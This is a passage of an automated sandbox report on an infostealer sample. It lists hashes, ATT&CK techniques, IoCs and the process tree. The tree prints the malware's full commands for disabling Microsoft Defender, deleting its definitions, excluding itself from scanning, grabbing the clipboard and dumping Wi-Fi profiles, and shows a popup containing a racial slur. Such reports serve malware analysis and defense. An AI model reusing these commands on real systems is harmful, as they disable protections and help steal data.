be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a

Analysis

max time kernel
149s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 05:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
Size 10.9MB
Sample260730-ftnvnszflb
SHA256 be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a
MD5 4078152ad8a3f94c06fd1d307dd04dea
SHA1 454f97473f16ecae40afbf6e122fc0e5fab2e88c
SHA512 4b0b0a019de1a0f802a8bc9fc0b5244e5e61a0a24e737e5b19c267c3002f498712b85b00b4e9dca806bb82729bd6710f19364878df8939d95517488ffba27852
SSDEEP 196608:2AxxkLJQjTD48OuHsntMNkIahjyRumY4KR0Dgp3AtRgEvoK7LVFLpSN3HQ:j2LyTvp5QmWRgtRLvF7XLpQQ
TLSH
T1CBB633243BC441A3EDE7613D4E62C61AFAE034519B60D2EF4764A7653E2F8A1893F371
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
3032	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1324	powershell.exe
1192	powershell.exe
2956	powershell.exe
3008	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1324	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3196	cmd.exe
972	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1872	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
7	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
2024	tasklist.exe
3416	tasklist.exe
4228	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5b4-29.dat	upx
behavioral2/memory/5196-33-0x00007FFE2FF70000-0x00007FFE3067D000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a2-35.dat	upx
behavioral2/files/0x000c00000001c5b1-39.dat	upx
behavioral2/memory/5196-40-0x00007FFE48A70000-0x00007FFE48A7F000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a1-42.dat	upx
behavioral2/files/0x000c00000001c5a5-45.dat	upx
behavioral2/memory/5196-47-0x00007FFE44E00000-0x00007FFE44E2C000-memory.dmp	upx
behavioral2/memory/5196-49-0x00007FFE42460000-0x00007FFE424E0000-memory.dmp	upx
behavioral2/files/0x000c00000001c5ad-48.dat	upx
behavioral2/memory/5196-44-0x00007FFE46E90000-0x00007FFE46EAA000-memory.dmp	upx
behavioral2/memory/5196-38-0x00007FFE46EB0000-0x00007FFE46ED9000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a8-50.dat	upx
behavioral2/files/0x000c00000001c5ac-54.dat	upx
behavioral2/memory/5196-53-0x00007FFE46E80000-0x00007FFE46E8D000-memory.dmp	upx
behavioral2/memory/5196-56-0x00007FFE46E70000-0x00007FFE46E7F000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a4-58.dat	upx
behavioral2/files/0x000c00000001c5b0-60.dat	upx
behavioral2/memory/5196-61-0x00007FFE44DD0000-0x00007FFE44DE4000-memory.dmp	upx
behavioral2/memory/5196-63-0x00007FFE2F930000-0x00007FFE2FF61000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a9-64.dat	upx
behavioral2/files/0x000c00000001c5ab-66.dat	upx
behavioral2/files/0x000c00000001c5b2-68.dat	upx
behavioral2/memory/5196-74-0x00007FFE46EB0000-0x00007FFE46ED9000-memory.dmp	upx
behavioral2/memory/5196-73-0x00007FFE42420000-0x00007FFE42456000-memory.dmp	upx
behavioral2/memory/5196-71-0x00007FFE44DB0000-0x00007FFE44DCA000-memory.dmp	upx
behavioral2/memory/5196-70-0x00007FFE2FF70000-0x00007FFE3067D000-memory.dmp	upx
behavioral2/memory/5196-72-0x00007FFE3B0E0000-0x00007FFE3B233000-memory.dmp	upx
behavioral2/files/0x000c00000001c5aa-80.dat	upx
behavioral2/files/0x000c00000001c5bd-82.dat	upx
behavioral2/memory/5196-83-0x00007FFE42C90000-0x00007FFE42CB6000-memory.dmp	upx
behavioral2/memory/5196-85-0x00007FFE34D60000-0x00007FFE34EEA000-memory.dmp	upx
behavioral2/files/0x000c00000001c5b7-86.dat	upx
behavioral2/memory/5196-88-0x00007FFE44D90000-0x00007FFE44D9D000-memory.dmp	upx
behavioral2/files/0x000c00000001c5be-89.dat	upx
behavioral2/memory/5196-92-0x00007FFE3B020000-0x00007FFE3B0DE000-memory.dmp	upx
behavioral2/memory/5196-91-0x00007FFE42460000-0x00007FFE424E0000-memory.dmp	upx
behavioral2/memory/5196-126-0x00007FFE46E70000-0x00007FFE46E7F000-memory.dmp	upx
behavioral2/memory/5196-160-0x00007FFE44DD0000-0x00007FFE44DE4000-memory.dmp	upx
behavioral2/memory/5196-191-0x00007FFE2F930000-0x00007FFE2FF61000-memory.dmp	upx
behavioral2/memory/5196-194-0x00007FFE3B0E0000-0x00007FFE3B233000-memory.dmp	upx
behavioral2/memory/5196-222-0x00007FFE42420000-0x00007FFE42456000-memory.dmp	upx
behavioral2/memory/5196-248-0x00007FFE44D90000-0x00007FFE44D9D000-memory.dmp	upx
behavioral2/memory/5196-250-0x00007FFE42C90000-0x00007FFE42CB6000-memory.dmp	upx
behavioral2/memory/5196-247-0x00007FFE34D60000-0x00007FFE34EEA000-memory.dmp	upx
behavioral2/memory/5196-249-0x00007FFE3B020000-0x00007FFE3B0DE000-memory.dmp	upx
behavioral2/memory/5196-233-0x00007FFE2FF70000-0x00007FFE3067D000-memory.dmp	upx
behavioral2/memory/5196-234-0x00007FFE46EB0000-0x00007FFE46ED9000-memory.dmp	upx
behavioral2/memory/5196-273-0x00007FFE2FF70000-0x00007FFE3067D000-memory.dmp	upx
behavioral2/memory/5196-309-0x00007FFE48A70000-0x00007FFE48A7F000-memory.dmp	upx
behavioral2/memory/5196-314-0x00007FFE46E70000-0x00007FFE46E7F000-memory.dmp	upx
behavioral2/memory/5196-313-0x00007FFE46E80000-0x00007FFE46E8D000-memory.dmp	upx
behavioral2/memory/5196-312-0x00007FFE42460000-0x00007FFE424E0000-memory.dmp	upx
behavioral2/memory/5196-308-0x00007FFE46EB0000-0x00007FFE46ED9000-memory.dmp	upx
behavioral2/memory/5196-311-0x00007FFE44E00000-0x00007FFE44E2C000-memory.dmp	upx
behavioral2/memory/5196-310-0x00007FFE46E90000-0x00007FFE46EAA000-memory.dmp	upx
behavioral2/memory/5196-315-0x00007FFE44DD0000-0x00007FFE44DE4000-memory.dmp	upx
behavioral2/memory/5196-318-0x00007FFE42420000-0x00007FFE42456000-memory.dmp	upx
behavioral2/memory/5196-323-0x00007FFE3B020000-0x00007FFE3B0DE000-memory.dmp	upx
behavioral2/memory/5196-321-0x00007FFE34D60000-0x00007FFE34EEA000-memory.dmp	upx
behavioral2/memory/5196-319-0x00007FFE3B0E0000-0x00007FFE3B233000-memory.dmp	upx
behavioral2/memory/5196-322-0x00007FFE44D90000-0x00007FFE44D9D000-memory.dmp	upx
behavioral2/memory/5196-320-0x00007FFE42C90000-0x00007FFE42CB6000-memory.dmp	upx
behavioral2/memory/5196-316-0x00007FFE2F930000-0x00007FFE2FF61000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1392	cmd.exe
5988	cmd.exe
1812	cmd.exe
3896	cmd.exe
5648	cmd.exe
6064	cmd.exe
5148	cmd.exe
2508	cmd.exe
5128	cmd.exe
1692	cmd.exe
2408	cmd.exe
2572	cmd.exe
5624	cmd.exe
5312	cmd.exe
3400	cmd.exe
6060	cmd.exe
5860	cmd.exe
4744	cmd.exe
4008	cmd.exe
3240	cmd.exe
4596	cmd.exe
3616	cmd.exe
240	cmd.exe
5440	cmd.exe
4632	cmd.exe
6008	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4052	netsh.exe
5648	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3856	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1624	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
1324	powershell.exe
1324	powershell.exe
3008	powershell.exe
3008	powershell.exe
1324	powershell.exe
3008	powershell.exe
5788	WMIC.exe
5788	WMIC.exe
5788	WMIC.exe
5788	WMIC.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
3284	powershell.exe
3284	powershell.exe
3284	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
4260	powershell.exe
4260	powershell.exe
4260	powershell.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
5640	WMIC.exe
2680	WMIC.exe
2680	WMIC.exe
2680	WMIC.exe
2680	WMIC.exe
4316	WMIC.exe
4316	WMIC.exe
4316	WMIC.exe
4316	WMIC.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
3856	WMIC.exe
3856	WMIC.exe
3856	WMIC.exe
3856	WMIC.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2024	tasklist.exe
Token: SeDebugPrivilege	3416	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5788	WMIC.exe
Token: SeSecurityPrivilege	5788	WMIC.exe
Token: SeTakeOwnershipPrivilege	5788	WMIC.exe
Token: SeLoadDriverPrivilege	5788	WMIC.exe
Token: SeSystemProfilePrivilege	5788	WMIC.exe
Token: SeSystemtimePrivilege	5788	WMIC.exe
Token: SeProfSingleProcessPrivilege	5788	WMIC.exe
Token: SeIncBasePriorityPrivilege	5788	WMIC.exe
Token: SeCreatePagefilePrivilege	5788	WMIC.exe
Token: SeBackupPrivilege	5788	WMIC.exe
Token: SeRestorePrivilege	5788	WMIC.exe
Token: SeShutdownPrivilege	5788	WMIC.exe
Token: SeDebugPrivilege	5788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5788	WMIC.exe
Token: SeRemoteShutdownPrivilege	5788	WMIC.exe
Token: SeUndockPrivilege	5788	WMIC.exe
Token: SeManageVolumePrivilege	5788	WMIC.exe
Token: 33	5788	WMIC.exe
Token: 34	5788	WMIC.exe
Token: 35	5788	WMIC.exe
Token: 36	5788	WMIC.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeDebugPrivilege	4228	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5788	WMIC.exe
Token: SeSecurityPrivilege	5788	WMIC.exe
Token: SeTakeOwnershipPrivilege	5788	WMIC.exe
Token: SeLoadDriverPrivilege	5788	WMIC.exe
Token: SeSystemProfilePrivilege	5788	WMIC.exe
Token: SeSystemtimePrivilege	5788	WMIC.exe
Token: SeProfSingleProcessPrivilege	5788	WMIC.exe
Token: SeIncBasePriorityPrivilege	5788	WMIC.exe
Token: SeCreatePagefilePrivilege	5788	WMIC.exe
Token: SeBackupPrivilege	5788	WMIC.exe
Token: SeRestorePrivilege	5788	WMIC.exe
Token: SeShutdownPrivilege	5788	WMIC.exe
Token: SeDebugPrivilege	5788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5788	WMIC.exe
Token: SeRemoteShutdownPrivilege	5788	WMIC.exe
Token: SeUndockPrivilege	5788	WMIC.exe
Token: SeManageVolumePrivilege	5788	WMIC.exe
Token: 33	5788	WMIC.exe
Token: 34	5788	WMIC.exe
Token: 35	5788	WMIC.exe
Token: 36	5788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1324	powershell.exe
Token: SeSecurityPrivilege	1324	powershell.exe
Token: SeTakeOwnershipPrivilege	1324	powershell.exe
Token: SeLoadDriverPrivilege	1324	powershell.exe
Token: SeSystemProfilePrivilege	1324	powershell.exe
Token: SeSystemtimePrivilege	1324	powershell.exe
Token: SeProfSingleProcessPrivilege	1324	powershell.exe
Token: SeIncBasePriorityPrivilege	1324	powershell.exe
Token: SeCreatePagefilePrivilege	1324	powershell.exe
Token: SeBackupPrivilege	1324	powershell.exe
Token: SeRestorePrivilege	1324	powershell.exe
Token: SeShutdownPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeSystemEnvironmentPrivilege	1324	powershell.exe
Token: SeRemoteShutdownPrivilege	1324	powershell.exe
Token: SeUndockPrivilege	1324	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 5196	2468	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	89
PID 5196 wrote to memory of 3400	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	90
PID 5196 wrote to memory of 5128	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	92
PID 5196 wrote to memory of 5860	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	93
PID 5196 wrote to memory of 6060	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	94
PID 5860 wrote to memory of 1324	5860	cmd.exe	98
PID 5128 wrote to memory of 3008	5128	cmd.exe	99
PID 6060 wrote to memory of 1112	6060	cmd.exe	100
PID 5196 wrote to memory of 1692	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	101
PID 5196 wrote to memory of 4744	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	102
PID 1692 wrote to memory of 2024	1692	cmd.exe	103
PID 4744 wrote to memory of 3416	4744	cmd.exe	104
PID 5196 wrote to memory of 1812	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	105
PID 5196 wrote to memory of 3196	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	106
PID 5196 wrote to memory of 4596	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	107
PID 5196 wrote to memory of 3896	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	108
PID 1812 wrote to memory of 5788	1812	cmd.exe	110
PID 5196 wrote to memory of 5648	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	109
PID 5196 wrote to memory of 3616	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	111
PID 3196 wrote to memory of 972	3196	cmd.exe	112
PID 4596 wrote to memory of 4228	4596	cmd.exe	113
PID 5196 wrote to memory of 5680	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	114
PID 3896 wrote to memory of 4328	3896	cmd.exe	115
PID 5648 wrote to memory of 4052	5648	cmd.exe	116
PID 3616 wrote to memory of 1624	3616	cmd.exe	117
PID 5680 wrote to memory of 3284	5680	cmd.exe	118
PID 5196 wrote to memory of 240	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	119
PID 240 wrote to memory of 2760	240	cmd.exe	121
PID 3284 wrote to memory of 2732	3284	powershell.exe	122
PID 5196 wrote to memory of 6064	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	123
PID 6064 wrote to memory of 4608	6064	cmd.exe	124
PID 2732 wrote to memory of 5328	2732	csc.exe	125
PID 5196 wrote to memory of 5312	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	126
PID 5312 wrote to memory of 4284	5312	cmd.exe	127
PID 5196 wrote to memory of 2408	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	128
PID 2408 wrote to memory of 5112	2408	cmd.exe	129
PID 5196 wrote to memory of 5440	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	130
PID 5440 wrote to memory of 1124	5440	cmd.exe	131
PID 5860 wrote to memory of 3032	5860	cmd.exe	132
PID 5196 wrote to memory of 4632	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	133
PID 4632 wrote to memory of 2580	4632	cmd.exe	134
PID 5196 wrote to memory of 4008	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	135
PID 4008 wrote to memory of 1192	4008	cmd.exe	136
PID 5196 wrote to memory of 6008	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	137
PID 6008 wrote to memory of 4260	6008	cmd.exe	138
PID 5196 wrote to memory of 2572	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	139
PID 2572 wrote to memory of 1872	2572	cmd.exe	140
PID 5196 wrote to memory of 5148	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	141
PID 5148 wrote to memory of 5640	5148	cmd.exe	143
PID 5196 wrote to memory of 2508	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	144
PID 2508 wrote to memory of 2680	2508	cmd.exe	145
PID 5196 wrote to memory of 5624	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	146
PID 5624 wrote to memory of 4316	5624	cmd.exe	147
PID 5196 wrote to memory of 3240	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	148
PID 3240 wrote to memory of 2956	3240	cmd.exe	149
PID 5196 wrote to memory of 1392	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	150
PID 1392 wrote to memory of 3856	1392	cmd.exe	151
PID 5196 wrote to memory of 5988	5196	be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe	152
PID 5988 wrote to memory of 2764	5988	cmd.exe	153

C:\Users\Admin\AppData\Local\Temp\be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
"C:\Users\Admin\AppData\Local\Temp\be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Users\Admin\AppData\Local\Temp\be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe
  "C:\Users\Admin\AppData\Local\Temp\be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:3400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be524fa4b66d65832df54df1b9bfcba535b2ec0ed8c416b30446b83cf1ffcd2a.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1324
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('die', 0, 'you are a NIGGER', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('die', 0, 'you are a NIGGER', 0+16);close()"
      4⤵
      PID:1112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3896
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5648
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3616
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1624
- - C:\Windows\system32\cmd.exe
